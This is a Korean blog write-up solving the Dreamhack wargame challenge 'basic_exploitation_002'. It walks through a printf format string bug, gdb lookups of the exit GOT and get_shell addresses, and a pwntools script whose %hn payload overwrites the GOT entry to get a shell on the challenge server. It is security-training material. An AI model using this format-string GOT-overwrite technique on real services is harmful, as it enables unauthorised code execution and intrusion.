WARGAME/dreamhack

[pwnable] basic_exploitation_002

daydreamtalker 2024. 5. 5. 23:28
이 문제는 서버에서 작동하고 있는 서비스 (basic_exploitation_002)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag"파일을 읽으세요.

Explanation

일단 문제 파일을 받아보고 소스코드를 확인하니 printf 문이 조금 이상하게 작성되어 있다는 것을 확인할 수 있다. 문자열을 출력할 때 서식지정자 없이 바로 buf을 출력한다. 바로 buf을 출력하는 것이 무엇이 문제일까? ➡️ 이러한 코드는 Format String Bug를 만들 수 있다. 즉 buf의 값을 우리가 마음대로 정할 수 있다면 포맷 문자를 넣어버려 우리가 원하는 값을 출력할 수 있다는 뜻!

 

다운로드한 파일을 압축 해제하고 실행해 보자.

./basic_exploiation_002

예외) ./~~~002 실행하면 no such file이라 뜨고 실행이 안 될 수 있다. 그 이유는 높은 확률로 파일이 32비트 체제 파일인데 사용하는 PC는 64비트 체제이기 때문이다. 이를 해결하기 위해서 64비트에서도 32비트 파일을 실행할 수 있게 해주는 프로그램을 별도로 설치하면 된다.

apt-get install libc6-i386 //권한이 없다고 뜨면 
sudo apt-get install libc6-i386 //sudo로 입력

 

 

파일을 실행하면 아무것도 뜨지 않는다. 아무 문자열이나 입력하면 내가 입력한 문자열을 반환하는 것을 알 수 있다.

./basic_exploitation_002
abcdefgh //입력값
abcdefgh //출력값

 

이 방법을 이용해서 문자열들이 어디에 참조되는지 알 수 있다. AAAA를 입력한 문자열이 첫 번째로 출력되는 것을 확인했다. %x 서식자를 통해서 AAAA가 언제 출력되는지 확인했다. 이것을 통해 값을 조작을 하기 위한 입력하는 곳은 시작 부분이라는 것을 알 수 있다.

./basic_exploitation_002
AAAA %x %x %x %x //입력값
AAAA 41414141 20782520 25207825 58252078 //출력값

 

이제 gdb를 통해서 메모리를 분석하는 단계로 넘어가자. 메인 함수 메모리를 확인해 보면 main이 종료되기 전에 get_shell 함수가 호출된다. 그렇다면 해당 함수의 주솟값을 참조하도록 할 수 있는 곳이 있어야 한다. 그곳이 바로 exit 함수다. 그렇다면 exit 함수의 메모리를 살펴보자. Exit() 함수의 got 주소와 쉘에 대한 명령어를 담고 있는 get_shell 주소도 알아야 한다.

gdb
file basic_exploitation_002
set disassembly-flavor intel
disas exit

 

exit 함수를 보니 제일 처음 jmp (jump)라는 어셈블리어가 나온다. 메모리 기준으로 0x804a024의 주소로 jump 한다는 뜻이다. 0x804a024의 주소를 확인해 보자.

disas 0x804a024

Exit() got 주소: 0x804a024

 

get_shell의 메모리 주소를 알아보자.

p get_shell

Get_shell 주소: 0x08048609

 

필요한 주소를 다 구했으니 이제 셸 코드를 작성하자. • gdb를 닫고 Terminal에서 나와 Text Editor로 들어가서 소스코드를 입력하고. py를 파일 뒤에 입력해서 파이선 코드라는 것을 명시해 주자.

from pwn import *
#p = process('./basic_exploitation_002')
p = remote("host3.dreamhack.games",23890) //드림핵 호스트를 확인해야함 다를 수 있음

#804a024
print(0x804 - 0x8)
shell = b'\x26\xa0\x04\x08'+b'\x24\xa0\x04\x08'+b'%2044c%1$hn'+b'%32261c%2$hn'

p.sendline(shell)

p.interactive()
python3 002.py //다운받은 파이선 모드를 확인해야한다.

파일을 열면 아무것도 안 나오는데 이 상태에서 파일의 목록을 확인해 주는 ls 명령어를 실행하면 무슨 파일들이 있는지 알 수 있다.

flag 획득!

2022/Nov/29 solved.